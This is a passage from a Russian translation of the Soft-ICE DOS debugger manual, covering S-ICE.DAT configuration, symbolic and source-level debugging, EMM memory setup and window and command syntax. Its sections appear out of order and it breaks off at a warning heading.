* Специальные опции конфигурации * Назначения функциональных клавиш * Последовательность команд инициализации.

6.4.1 Специальные Опции Конфигурации

Любая из следующих опций конфигурации, которые необходимы, должна быть помещена в отдельную строку в файле S-ICE.DAT.

* COMPAQ -- Компьютер Compaq 386 и 386SX и некоторые Compaq-совместимые компьютеры (включая компьютеры, содержащие материнские платы Micronix) имеющий 384КБ из несмежных участков расширенной памяти. Опция COMPAQ необходима, если вы хотите, что бы Soft-ICE использовал эту память. Заметьте, что опция COMPAQ идентична параметру командной строки /C в Soft-ICE 1.X.

* NOLEDS -- Опция NOLEDS сообщает Soft-ICE не устанавливать и не очищать LED-ы клавиатуры, во время вызова окна Soft-ICE. На некоторых клавиатурах существуют проблемы с таймером, которые будут вызывать у Soft-ICE потерю синхронизации с клавиатурой. Если Soft-ICE зависает, когда вы - в окне Soft-ICE, используйте эту опцию. Заметьте что опция NOLEDS идентична параметру командной строки /L в Soft-ICE 1.X.

* NOTVGA -- Опция NOTVGA позволяет Soft-ICE работать на BIOS-совместимых VGA-картах. Много карт VGA не совместимы с IBM VGA на уровне аппаратных средств. Эти карты поддерживают VGA только на уровне BIOS. Используйте этот переключатель если у вас один из таких видеоадаптеров. Заметьте, что опция NOTVGA - то же самое, что и параметр командной строки /V в Soft-ICE 1.X.

* EXTENDED -- Опция EXTENDED заставляет Soft-ICE загружаться непосредственно в расширенную память без предупреждения пользователя при помощи специального сообщения. Она должна использоваться, если вы загружаете Soft-ICE из командной строки DOS и не хотите вывода сообщения и больше ничего не знаете об использовании расширенной памяти. Заметьте что опция EXTENDED - тот же самое, что и параметр командной строки /E в Soft-ICE 1.X.

6.4.2 Назначения Функциональных Клавиш

Во время загрузки любой функциональной клавише может быть назначена одна или больше команд Soft-ICE. См. описание команды FKEY в части 5.8 (Команды Настройки Отладчика) для описания назначения функциональных клавиш из командной строки Soft-ICE.

Синтаксис для назначения названий функциональных клавиш в S-ICE.DAT:

Название-функциональной-клавиши = "строка" Название-функциональной-клавиши -- F1, F2... F12. строка -- строка может состоять из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.

Вот пример назначения функциональной клавиши в S-ICE.DAT:

F12 = "D 100;"

Это назначит команду Soft-ICE, Dump функциональной клавише 12. При нажатии F12 Soft-ICE будет выводить дамп памяти со смещения 100H в текущем сегменте данных. Точка с запятой после 100 представляет клавишу ВВОД.

6.4.3 Последовательность Команд Инициализации

При загрузке Soft-ICE может быть автоматически выполнена группа команд. Это полезно для настройки Soft-ICE под ваши нужды. Например, вы могли бы установить параметры окон и изменить стандартную комбинацию горячих клавиш. Синтаксис для введения последовательности команд инициализации в S-ICE.DAT следующий:

INIT = "строка-назначения"

Строка-назначения -- Строка состоит из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.

Пример последовательности команд инициализации в S-ICE.DAT:

INIT = "WIN; WR; WD 1; WC 12; ALTKEY CTRL X;"

Этот пример переведет окно Soft-ICE в полноэкранный режим, создаст окно регистров, создаст окно данных высотой в одну строку, создаст окно кода высотой 12 строк и изменит комбинацию горячих клавиш на CTRL X.

Пример S-ICE.DAT.

Пример файла инициализации включен в содержимое дистрибутивной дискеты. Этот пример назначает функциональные клавиши так, что они используются в той же манере, как и функциональные клавиши в отладчике Microsoft CodeView. Этот пример S-ICE.DAT также должен использоваться "как есть" для обучающей части в главе 3.

ГЛАВА 7

Отладка на Уровне Символов и Исходного Текста.

7.1 Введение 7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста 7.2.1 Подготовка к Отладке Только на Уровне Символов 7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста 7.3 Резервирование Памяти для Символов и Исходного Текста 7.4 Загрузка Программ и Файлов с Символами 7.5 Символьная Отладка 7.6 Отладка по Исходному Тексту.

7.1 Введение

Soft-ICE может загружать программы, таблицы символов и исходные тексты для расширенной отладки. Символьная отладка позволяет устанавливать точки останова и ссылаться на переменные по символьным именам, не указывая числовые адреса. Отладка по исходному тексту позволяет вам проходить через вашу программу на уровне исходного текста, а не на уровне машинного кода.

Информация о символах и строках исходного текста извлекается из файла с картой связей. Карта связей должна быть совместима с Microsoft linker версии 3.60 или выше.

Символы и исходные файлы расположены в расширенной памяти. У вас должно быть достаточно памяти для символов и исходных файлов. Исходные файлы не читаются с диска, как во многих отладчиках. Это позволяет Soft-ICE обеспечить полную системную отладку на уровне исходного текста. Вы можете отлаживать резидентные обработчики прерываний и другой системный код на уровне исходного текста.

Заметьте:

Вы не можете использовать символьную или отладку по исходному тексту, пока Soft-ICE не загружен как драйвер устройства в CONFIG.SYS.

7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста

До отладки программы с символами или исходным текстом вы должны создать файл символов. Это - двоичный файл, содержащий информацию о символах и номерах строк в формате, который Soft-ICE понимает. Этот файл создается при помощи утилиты MSYM.EXE. MSYM.EXE читает вашу карту связей, чтобы создать файл символов с расширением (.SYM).

7.2.1 Подготовка к Отладке Только на Уровне Символов

Для подготовки программы только к символьной отладке, вы должны выполнить следующие шаги:

1. Скомпилировать или оттранслировать вашу программу. 2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатель /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше. 3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.

Заметьте:

До компилирования или трансляции вашей программы вы можете захотеть сделать публичными некоторые дополнительные символы. При символьной отладке Soft-ICE поддерживает только публичные символы. Методы объявления переменных или меток публичными варьируют в зависимости от того, какой язык вы используете.

На языке ассемблера 8086, укажите директиву PUBLIC, сопровождаемую локально определенными символами, которые вы хотите сделать публичными. Например:

PUBLIC FOO, LOOP1, STATUS

На языке C, все названия процедур и статические переменные, определенные вне блока, являются публичными.

Для других языков, обратитесь к вашему руководству по языку для подробностей.

7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста

Для подготовки программы к символьной и отладке по тексту, вы должны выполнить следующие шаги:

1. Скомпилировать или оттранслировать все модули, которые вы хотите отлаживать по исходному тексту с соответствующими переключателями, чтобы поместить информацию о номерах строк в объектные файлы. С языками Microsoft вы можете использовать либо переключатель /Zi либо /Zd. Вы можете не хотеть, проделывать это со всеми файлами, потому что объединенные размеры файла символов и всех исходных файлов, скомпилированных с этими переключателями, должны вписаться в объем расширенной памяти, который вы зарезервировали при помощи переключателя загрузки /SYM в CONFIG.SYS. 2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит номера строк исходного текста и список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатели /LI и /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше. 3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.

7.3 Резервирование Памяти для Символов и Исходного Текста

До загрузки программ, символьных и исходных файлов вы должны зарезервировать расширенную память. Расширенная память резервируется, при загрузке Soft-ICE в CONFIG.SYS. До резервирования расширенной памяти вы можете захотеть сложить размеры .SYM-файла и всех исходных файлов, которые вы хотите загрузить. Вы должны зарезервировать, по крайней мере, столько расширенной памяти. Вы должны использовать переключатель /SYM при загрузке S-ICE.EXE. Вот пример строки в CONFIG.SYS для загрузки Soft-ICE и резервирования места для символов и исходных файлов:

DEVICE = S-ICE.EXE /SYM 1024

Этот пример загружает Soft-ICE в расширенную память и резервирует 1 мегабайт памяти для символов и исходных файлов. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей о резервировании памяти.

7.4 Загрузка Программ и Файлов с Символами

Утилита Soft-ICE, LDR.EXE используется для загрузки программ, файлов символов и исходных файлов. Для символьной отладки прикладных программ и T&SR-программ вы обычно будете использовать LDR.EXE, чтобы загрузить программу, символы и исходные файлы за один шаг. Для отладки загружаемых драйверов устройства, ПЗУ и других системных компонент вы обычно будете использовать LDR.EXE, чтобы загрузить только файл символов и исходные файлы. Вот синтаксис для LDR.EXE:

Руководство по Soft-ICE (DOS) - 19.

LDR название-программы | название-программы.SYM | название-программы.расширение.

7.4.1 Загрузка Программы, Символов и Исходного Текста

Для загрузки вашей программы, символов и исходных файлов за один шаг, вы должны использовать LDR.EXE так:

LDR название-программы

Обратите внимание, что название-программы не имеет расширения. Если расширение не указано, LDR.EXE выполнит следующие действия:

1. Загрузит название-программы.SYM в расширенную память 2. Загрузит исходные файлы в расширенную память. Этот шаг выполняется только, если в .SYM-файле есть записи об исходных файлах. 3. Загрузит название-программы.EXE в память, в область, куда бы она загрузилась, если бы была загружена непосредственно из командной строки DOS. 4. Вызовет Soft-ICE с указателем инструкций на первой инструкции вашей программы. Если это - C- программа и для файла, содержащего _MAIN, загружен исходный текст, тогда исходный текст этого файла будет видим в окне кода.

7.4.2 Загрузка только Символов и Исходных Файлов

Если вы хотите загрузить только символы и исходные файлы (например, для отлад- ки загружаемого драйвера устройства), вы должны использовать LDR.EXE так:

LDR название-программы.SYM

Обратите внимание, что расширение .SYM - указано. .SYM-файл и исходные файлы будут загружены в расширенную память. Когда символы загружены таким образом, символы вашей программы или драйвера устройства будут приняты для ссылки с адреса 0:0. Так как это - редкий случай, вы должны будете использовать команду Soft-ICE, SYMLOC для локализации символов. См. описание команды SYMLOC в главе 5.10 для полной информации. Вот пример загрузки файла символов, называющегося DRIVER.SYM:

LDR DRIVER.SYM

7.4.3 Загрузка Программы Без Символов или Исходного Текста

Для загрузки программного файла без загрузки связанного с ним файл символов, вы должны использовать LDR.EXE так:

LDR название-программы.расширение

Обратите внимание, что расширение файла присутствует. Обычно расширение файла будет .EXE или .COM. Когда расширение файла определено, LDR.EXE загрузит программу и вызовет Soft-ICE с указателем инструкций на первой инструкции программы. Вот пример загрузки программы с символами и исходным текстом:

LDR TEST.EXE

Примечания:

LDR.EXE автоматически сохраняет копию таблицы векторов прерываний при загрузке вашей программы. Это эквивалентно выполнению команды VECS S. Если вы хотите выйти из вашей программы до ее завершения, вы можете выполнить EXIT R для выхода из программы и восстановления таблицы векторов прерываний.

Использование LDR.EXE для загрузки только название-программы.EXE часто полезно для рестарта вашей программы, во время сессии отладки по исходному тексту. Для рестарта выполните команду EXIT R, чтобы прервать текущую сессию. Затем используйте LDR.EXE, для повторной загрузки вашего .EXE-файла. Символы: исходный текст не должен загружаться, т.к. он остается в расширенной памяти.

Если LDR.EXE выдает вам сообщение "Out of space loading symbol information", это означает, что вы не зарезервировали достаточно расширенной памяти при помощи переключателя загрузки /SYM в CONFIG.SYS.

Если LDR.EXE не находит ваши исходные файлы в той же директории, что и программа, которую вы загружаете, LDR.EXE попросит указать путь, по которому он может найти исходные файлы. Если у вас исходные файлы в нескольких директориях или вы часто загружаете программу, это становится тяжелым. Вы можете устранить необходимость во вводе, используя переменную окружающей среды DOS, SRC. LDR.EXE использует эту переменную окружающей среды, чтобы найти исходные файлы до обращения к пользователю. Вот синтаксис для установки переменной окружающей среды из командной строки DOS:

SET SRC = директория;директория;...;директория

В каждой из указанных директорий будет произведен поиск до обращения к пользователю.

Ограничения:

Soft-ICE поддерживает символы только для одной программы одновременно. Если вы загружаете новый .SYM-файл, существующий - перезаписывается. Soft-ICE не поддерживает оверлеи или перемещения сегментов Microsoft Windows. Soft-ICE распознает только публичные символы и номера строк. Он не поддерживает локальные переменные.

7.5 Символьная Отладка

После того, как вы загрузили вашу программу и .SYM-файл, вы можете начинать символьную отладку вашей программы. Вообще символ может использоваться в любой команде вместо адреса.

Символы также используются несколькими командами Soft-ICE, когда выводятся адреса. Например, команда U выводит символьные имена меток и процедур, когда с ними сталкивается. Есть две команды, которые полезны при символьной отладке:

* SYM -- Используйте команду SYM, чтобы получить список названий и значений символов или изменить значение символа. * SYMLOC -- Используйте команду SYMLOC, чтобы переместить базу всех ваших символов. Вы будете должны использовать команду SYMLOC когда:

1. Загружаете символы для загружаемого драйвера устройства 2. Загружаете символы для T&SR, который уже загружен 3. Ваша программа перемещает себя в местоположение, отличное от первоначального. См. часть 5. 10 для полного описания этих команд.

7.6 Отладка по Исходному Тексту

Когда загружены исходные файлы, Soft-ICE позволяет вам просматривать и проходить ваш исходный код как при обычной отладке. Soft-ICE предоставляет два разных режима отладки по исходному тексту: смешанный режим и режим исходного текста. Используйте команду SRC для переключения между режимами. Смешанный режим выводит строки исходного текста и код ассемблера, полученный из этих строк исходного текста, совместно. Смешанный режим полезен, когда вы должны отлаживать на уровне ассемблера, но использовать исходный текст для ссылки. Смешанный режим обеспечивается и когда окно кода видимо и когда нет.

Режим исходного текста строго выдает на экран строки исходного текста. Отладка по исходному тексту требует, чтобы окно кода было видимо.

7.6.1 Использование Номеров Строк

Номера строк могут использоваться вместо адресов в нескольких командах. Для отличия номера строки от фактического адреса, поместите знак . (точка) перед номером. Например, чтобы установить точку останова на выполнение в строке исходного текста 450, введите:

BPX .450

7.6.2 Использование Режима Исходного Текста в Окне Кода

Для входа в режим исходного текста, должно быть видимо окно кода. Если оно невидимо, используйте команду WC, чтобы сделать его видимым. Однажды войдя в режим исходного кода, вы можете использовать команды Soft-ICE, переключаться на другой исходный файл, просматривать исходный текст в любом месте файла, пролистывать файл, искать строки в файле и устанавливать точки останова в файле. Для полной информации следующих команд см. их описания в главах 4 и 5. Следующий список - краткий обзор команд, полезных при отладке по исходному тексту:

* Сделать окно кода видимым (если оно еще не видимо) командой WC. * Переключить между режимом исходного текста, смешанным и режимом кода командой SRC. Для переключения режимов введите: SRC * Поместить исходный файл в окно кода (если он еще не там) командой FILE. Например, для перехода от текущего файла к файлу MAIN.C введите:

FILE MAIN.C

* Вывести исходный текст с определенной позиции в исходном файле командой U. Чтобы изменить вывод на определенную строку или адрес памяти используйте команду U. Вы можете указывать фактические адреса или номера строк как параметры для команды. Например, чтобы просмотреть исходный текст в окне кода, начиная со строки исходного текста 450, введите:

U. 450

* Найти текущую инструкцию в окне кода командой . (точка). * Искать определенную символьную строку командой SS. Например, чтобы искать строку "Hello World", начиная со строки 100 в текущем исходном файле, введите:

SS 100 "Hello World"

* Переместить курсор в окно кода (если он еще не там) командой EC. * Листать исходный текст клавишами вверх, вниз, PageUp, PageDn. * Установить точку останова типа point-and-shoot командой BPX. Просто поместите курсор в строку исходного текста, на которой вы хотите остановиться, затем введите:

BPX

ГЛАВА 8

8.1 Введение

У Soft-ICE есть менеджер отображаемой памяти, встроенный в его ядро. Менеджер отображаемой памяти Soft-ICE поддерживает спецификацию Lotus-Intel-Microsoft.

4.0. Эта возможность Soft-ICE полезна, если вы используете программы, поддерживающие спецификацию EMM или если вы должны нарастить вашу обычную память, чтобы расширить системную память до 640КБ или больше.

Другие контролирующие программы 386, обеспечивающие возможности EMM (типа QEMM или 386-to-the-MAX) не будут работать с Soft-ICE. Если вы используете эти программы для возможностей EMM или наращивания, вы можете использовать вместо них EMM-менеджер Soft-ICE.

Активизация возможностей EMM в Soft-ICE включает следующие шаги:

1. Конфигурирование окружения отображаемой памяти утилитой EMMSETUP.EXE. Эта утилита изменяет S-ICE.EXE с учетом желаемой карты EMM-страниц. 2. Добавление переключателя /EMM в вашу строку S-ICE.EXE в CONFIG.SYS. Это резервирует часть расширенной памяти для отображаемой памяти. Вот пример строки в CONFIG.SYS, резервирующей память для EMM:

DEVICE = S-ICE.EXE /EMM 2048

Будет зарезервировано 2 мегабайта расширенной памяти на использование для EMM. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей установки Soft-ICE в CONFIG.SYS. 3. Перезагрузите вашу систему.

8.2 Конфигурирование Окружения EMM

Перед установкой S-ICE.EXE с переключателем /EMM в файл CONFIG.SYS, вам может быть придется запустить EMMSETUP.EXE чтобы сконфигурировать окружение EMM 4.0. Этот процесс конфигурации позволит вам указать, какие участки памяти вы хотели бы сделать доступными как страницы EMM 4.0. Запуск EMMSETUP.EXE сильно рекомендуется, если вы используете программы, требующие все преимущества спецификации EMM 4.0.

8.2.1 Страницы EMM по умолчанию

По умолчанию, S-ICE.EXE с переключателем /EMM - сконфигурирован предоставить страницы EMM 4.0 в следующих областях:

* Нижние 640КБ (кроме 1-х 64КБ) * 64КБ, начинающиеся с D000H Вы можете захотеть реконфигурировать EMM по следующим причинам:

Руководство по Soft-ICE (DOS) - 2.

2. Запустите, Soft-ICE из командной строки DOS, набрав.

S-ICE. 

Прежде, чем фактически загрузиться, Soft-ICE выдаст сообщение о загрузке и командную строку. Для предотвращения вывода этой командной строки, поместите слово EXTENDED в файл S-ICE.DAT. См. часть 6.4 для получения более подробной информации о файле S-ICE.DAT. При использовании этого метода, S-ICE.EXE автоматически загружается в верхнюю точку расширенной памяти, если там еще нет никакой другой программы. Если вы знаете, что у вас нет других программ, использующих расширенную память, этот метод - приемлем. Загруженный этим методом, Soft-ICE занимает НОЛЬ байт основной памяти. Команда, которую вы используете:

S-ICE

Примечания: Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загрузить Soft-ICE из CONFIG.SYS.

Если вы хотите загрузить Soft-ICE как драйвер устройства, но не хотите, чтобы Soft-ICE был резидентным все время, вы должны использовать переключатель /UN. Обратитесь к части 6.3.1 для получения большей информации.

2.2.3 Конфигурирование Soft-ICE для Запуска с Установками Пользователя

Вы можете настраивать Soft-ICE при помощи переключателей Soft-ICE в CONFIG.SYS и при помощи файла инициализации Soft-ICE S-ICE.DAT. Переключатели в CONFIG.SYS позволяют указать метод резервирования расширенной памяти, используемый Soft-IСЕ'ом. Файл инициализации S-ICE.DAT позволяет вам указать опции конфигурации, указать команды, выполняемые по нажатию функциональных клавиш, и определить строку автостарта. Строка автостарта используется, для выполнения ряда команд, которые вы всегда используете при установке Soft-ICE. Для более полной информация о настройке Soft-ICE, обратитесь к главе 6.

2.3 Выгрузка Soft-ICE

Когда-нибудь вам может понадобиться выгрузить Soft-ICE. Типичная причина для выгрузки Soft-ICE - необходимость запуска программы, использующей инструкции защищенного режима 80286 или 80386. Чтобы выгрузить Soft-ICE, введите:

S-ICE /U

Эта команда возвращает машину в реальный режим адресации. Если Soft-ICE был первоначально загружен из CONFIG.SYS, память остается зарезервированной для Soft-ICE и не может использоваться другими программами. Если Soft-ICE первоначально загружен из командной строки, выгрузка освобождает память, используемую S-ICE.EXE.

Предостережение: Если в вашей системе есть наращенная память или если в настоящее время используется расширенная память, выгрузка Soft-ICE может вызвать зависание ОС.

2.4 Повторная Загрузка Soft-ICE

Soft-ICE может быть повторно загружен в любое время, даже если он был перво- начально загружен из CONFIG.SYS. Если Soft-ICE был загружен из CONFIG.SYS, то первоначальная конфигурация (EMM 4.0, символы и исходный текст ...) остается в силе. Чтобы повторно загрузить Soft-ICE, введите:

S-ICE

ГЛАВА 3

3.1 Введение

Все взаимодействие с Soft-ICE происходит в окне, которое может быть вызвано в любое время. Все команды Soft-ICE помещаются в маленьком окне, но окно может быть увеличено до полного экрана. Обычно вы будете использовать маленькое окно при использовании Soft-ICE в дополнение к другому отладчику и большое окно при использовании Soft-ICE в автономном режиме.

Окно сразу выводится во весь экран, если вы используете файл конфигурации Soft-ICE (S-ICE.DAT), включенный в дистрибутив.

3.2 Вызов Всплывающего Окна

Вы можете вызвать окно в любое время после установки Soft-ICE. По умолчанию Soft-ICE вызывается нажатием клавиш CTRL и D. Однако, эта комбинация может быть изменена, при помощи команды ALTKEY (см. часть 5.8).

3.3 Возврат Из Окна

Вернитесь к первоначальному экрану, используя команду X или комбинацию клавиш, которую вы использовали для вызова Soft-ICE. Любые точки останова, которые вы установили во время работы в Soft-ICE, останутся в силе.

3.4 Изменение Размера Окна

Вы можете изменять как ширину, так и высоту окна Soft-ICE. Изменение размера окна особенно полезно в автономном режиме, когда на экран выводится память с кодом программы.

Высота окна может изменяться от 8 до 25 строк. Для изменения высоты окна используйте следующие комбинации клавиш:

ALT + стрелка вверх -- увеличивает высоту окна ALT + стрелка вниз -- уменьшает высоту окна.

Для изменения ширины окна, используйте команду WIN (см. часть 5.9). Ввод WIN без параметров переключает следующие два режима:

Режим WIDE - полная ширина экрана режим NARROW - ширина 46 символов.

Некоторые команды (то есть D, E, R, U) используют преимущество большой ширины для вывода большего количества информации, когда окно находится в режиме WIDE.

3.5 Перемещение Окна

Окно Soft-ICE подвижно и может быть помещено куда угодно на экране. Это особенно полезно, когда окно находится в режиме NARROW. Перемещайте окно в любое время, когда вам нужно видеть информацию на экране за окном. Следующие комбинации клавиш перемещают окно:

CTRL стрелка вверх -- на строку вверх CTRL стрелка вниз -- на строку вниз CTRL стрелка вправо -- на одну позицию вправо CTRL стрелка влево -- на одну позицию влево.

3.6 Клавиши Редактирования

Простой в использовании строковый редактор Soft-ICE позволяет повторно вызы- вать и редактировать предыдущие команды. Функции строкового редактора подобны функциям популярного редактора CED.

Следующие комбинации клавиш помогают при редактировании команд в окне команд:

Стрелка вправо -- перемещает курсор вправо стрелка влево -- перемещает курсор влево INS -- переключает режим вставки DEL -- удаляет текущий символ HOME -- перемещает курсор в начало строки END -- перемещает курсор в конец строки стрелка вверх -- выводит предыдущую команду стрелка вниз -- выводит следующую команду SHIFT стрелка вверх -- прокрутка на одну строку вверх SHIFT стрелка вниз -- прокрутка на одну строку вниз PAGE UP -- прокрутка на одну страницу вверх PAGE DN -- прокрутка на одну страницу вниз BKSP -- удаляет предыдущий символ ESC -- отменяет текущую команду.

Есть специальные назначения клавиш, когда курсор находится в окне данных или окне кода. Они описаны в частях для команд E и EC соответственно. Одно из таких специальных назначений - SHIFT и SHIFT , когда курсор находится в окне кода. Эти клавиши переназначаются так, что они выполняют функции, которые обычно выполняют клавиши и . Таким образом вы можете повторно вызывать предыдущие команды, когда курсор находится в окне кода.

3.7 Диалоговая Строка Состояния

Строка состояния в нижней части окна обеспечивает диалоговую помощь по синтаксису команд.

3.8 Синтаксис Команд

Soft-ICE - отладочный инструмент с командным управлением. Для взаимодействия с Soft-ICE вы вводите команды, которые могут изменяться при помощи параметров.

Все команды - текстовые строки, длиной от одного до шести символов, нечувстви- тельные к регистру букв. Все параметры являются ASCII-строками или выражениями.

Выражения - обычно числа, но могут также быть комбинациями чисел и операторов (например, + - / *). Все числа выводятся в шестнадцатеричном формате. Параметры типа byte - 2 цифры длиной, параметры типа word - 4 и параметры типа double word - 2 параметра типа word, разделенные двоеточием (:). Вот несколько примеров параметров:

12 -- параметр типа byte 10FF -- параметр типа word E000:0100 -- параметр типа double word.

Вместо байтов или слов в выражении могут использоваться регистры. Например, команда " U CS:IP-10 " начнет дизассемблирование инструкций с адреса, находя- щегося за десять байт до текущего адреса в указателе команд. В выражениях могут использоваться следующие названия регистров:

AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS или FL.

3.8.1 Определение Адресов Памяти

Много команд Soft-ICE требуют в качестве параметров адреса памяти. Адрес памяти - это значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента.

В любой команде Soft-ICE вместо адреса могут использоваться публичные символы. Публичные символы могут быть загружены в Soft-ICE загрузчиком программ (LDR.EXE). См. главу 7 (Символы и Исходный текст) для получения полного описа- ния использования публичных имен.

Интерпретатор выражений Soft-ICE распознает несколько специальных символов в объединении с адресами. Это следующие специальные символы:

$ -- Текущий CS:IP. @адрес -- указатель типа double word .число -- номер строки в исходном тексте.

Символ $ может использоваться вместо CS:IP при вводе текущего адреса указателя команд.

Символ @ позволяет вам обращаться к двойному слову, на которое указывает адрес. Вы можете использовать несколько уровней @.

Если символ . предшествует адресу, адрес будет интерпретироваться как номер строки в текущем исходном файле, а не как фактический адрес. Это имеет силу, только когда загружены исходные файлы. В этом случае адрес интерпретируется как десятичное число.

Примеры:

U.1234

Эта команда начинает дизассемблирование инструкций в строке 1234(десятич.) исходного текста.

U $-10

Эта команда дизассемблирует инструкции, начинающиеся за 10 байт до текущего адреса в указателе команд.

G @SS:SP

Предполагает, что вы - на первой инструкции обработчика прерывания. Ввод этой команды установит временную точку останова на адрес возврата в стеке и пропускает подпрограмму обработчика прерывания.

3.9 Функциональные Клавиши

Функциональные клавиши могут назначаться на выполнение любой командной строки, которая может быть введена в Soft-ICE. Их можно переназначать из командной строки или заранее путем их определения в файле S-ICE.DAT.

По умолчанию S-ICE.DAT, поставляемый на дистрибутивной дискете, содержит определения для всех 12 функциональных клавиш. Вы можете изменять любое из этих определений в любое время. Они присутствуют в качестве примера, но они предназначены для облегчения работы пользователей Microsoft CodeView, по умол- чанию работают следующие назначения:

F1 -- Выводит общую помощь (H;) F2 -- Включает окно регистров (^WR;) F3 -- Изменяет текущий режим работы с исходным текстом (^SRC;) F4 -- Восстанавливает экран (^RS;) F5 -- Возвращается в вашу программу (^X;) F6 -- Переключает курсор между окном команд и окном кода (^EC;) F7 -- Прогоняет программу до текущей позиции курсора (^HERE;) F8 -- Выполняет одиночную инструкцию (^T;) F9 -- Устанавливает точку останова в текущей позиции курсора (^BPX;).

Руководство по Soft-ICE (DOS) - 20.

8.2.2 Настройка Карты Страниц EMM

Для конфигурирования карты EMM вы должны использовать утилиту EMMSETUP.EXE. EMMSETUP.EXE позволяет изменять карту страниц, а затем модифицирует S-ICE.EXE с учетом изменений. EMMSETUP работает наиболее эффективно при автоматической настройке карты EMM. EMMSETUP, при работе с видеокартами и ПЗУ, попробует заполнить отображаемыми страницами столько адресного пространства, сколько возможно. Если результат недостаточно хорош или не по вашему вкусу, вы можете его изменить. Изменение может быть необходимо, если у вас есть сеть, специальный видеоадаптер или адаптер операций с отображаемой памятью. Для конфигурирования карты EMM введите:

EMMSETUP

EMMSETUP показывает матрицу страниц памяти по 16КБ, доступных в нижней области в 1 мегабайт. Матрица разделена на 16 колонок, представляющих каждая 64КБ (от 0 до 10000H). 4 строки представляют четыре страницы по 16КБ в каждой 64-килобайтовой области.

Каждая ячейка матрицы может содержать E, X, R или V. Ячейки, содержащие E, доступны как страницы EMM; блоки, содержащие X - нет. Ячейки, содержащие R - области памяти, которые были идентифицированы EMMSETUP как области ПЗУ. Вы, при необходимости, можете изменить эти области на E, но это допустимо, только если к ПЗУ нет обращений. Ячейки, содержащие V идентифицированы как видеопамять. Мы сделали наихудшее предположение о видеопамяти. Ваша конкретная видеокарта может не использовать столько, сколько мы "предположили". При необходимости вы можете изменить блоки памяти, которые содержат ненужные V.

Если вы удовлетворены предположениями ЕММSЕТUР'а, нажмите клавишу F10 и S-ICE.EXE будет изменен с этими параметрами. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться. Если вы хотите изменить предположения ЕММSЕТUР'а, сделайте это в то же самое время.

8.2.2.1 Включение и Исключение Областей из EMM

Чтобы включить область в память EMM 4.0 просто поместите курсор на желаемую ячейку, затем введите E. Наоборот, чтобы исключить область из памяти EMM 4.0, поместите курсор на ячейку и введите X. Когда вы будете удовлетворены вашими изменениями, нажмите F10 для выхода из программы. Все изменения автоматически сохраняются в файле S-ICE.EXE. Если вы хотите выйти без изменения S-ICE.EXE, нажмите ESC. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться.

Включая верхние блоки памяти, имейте в виду следующее:

* CGA занимает от B800H до C000H. * MDA занимает от B000H до B100H. * Большинство карт Hercules занимает от B000 до C000H. * EGA занимает от A000H до C000H и от C000H до C400H. * VGA (на материнской плате) занимает от A000H до C000H. * VGA (съемная карта) занимает от A000H до C000H и от C000H до C800H. * Системное ПЗУ PS/2 занимает от E000H до 10000H. * ПЗУ PS/2 ESDI занимает от CC00H до D000H * Большинство AT-совместимых ПЗУ занимают от F000H до 10000H. * Compaq-системы, системы с системными платами Micronix и большинство систем с платами Chips and Technologies перемещают ПЗУ EGA/VGA в E000H Однако они все равно так же занимают и область C000H. * Сети Token Ring обычно занимают от CC00H до E000H. * Многие сети занимают области памяти в области D000H. Вышеупомянутые руководящие принципы - для "фирменных" устройств. Многие исполнения от различных продавцов компьютеров и продавцов карт адаптеров будут варьировать.

8.3 Другие Возможности EMM

У S-ICE.EXE с переключателем /EMM есть две возможности, которые автоматически активизируются в зависимости от конфигурации вашей системы. Эти возможности - наращивание и перемещение страниц.

8.3.1 Увеличение Обычной Памяти

Память системы будет автоматически наращена до первой неотображаемой страницы. Это означает, что начинается поиск цепочки 'E' с ячейки 1000 и продолжается, пока не будет найден первый несмежный 'E'. Если цепочка смежных 'E' выйдет за границы основной памяти вашей системы, память будет наращена до первого R, V или X, который будет найден.

Выгода наращивания - в том, что вы можете увеличивать объем используемой памяти системы до большего, чем 640КБ. Наращенная память доступна из DOS. Если вам не нужна наращенная память, используйте EMMSETUP, чтобы сделать страницу неотображаемой (X) в точке, где вы хотите, чтобы память системы заканчивалась.

Заметьте:

Монохромные системы (MDA) можно наращивать вплоть до B000H, чтобы добавить дополнительные 64КБ к обычной памяти. CGA-системы могут быть наращены вплоть до B800, добавляя дополнительные 96КБ к обычной памяти. EGA и VGA-системы могут быть наращены, только если не будут запускаться графические программы. Вы можете наращивать EGA или VGA-системы вплоть до B800:0, если не будут запускаться никакие графические программы.

Предупреждение:

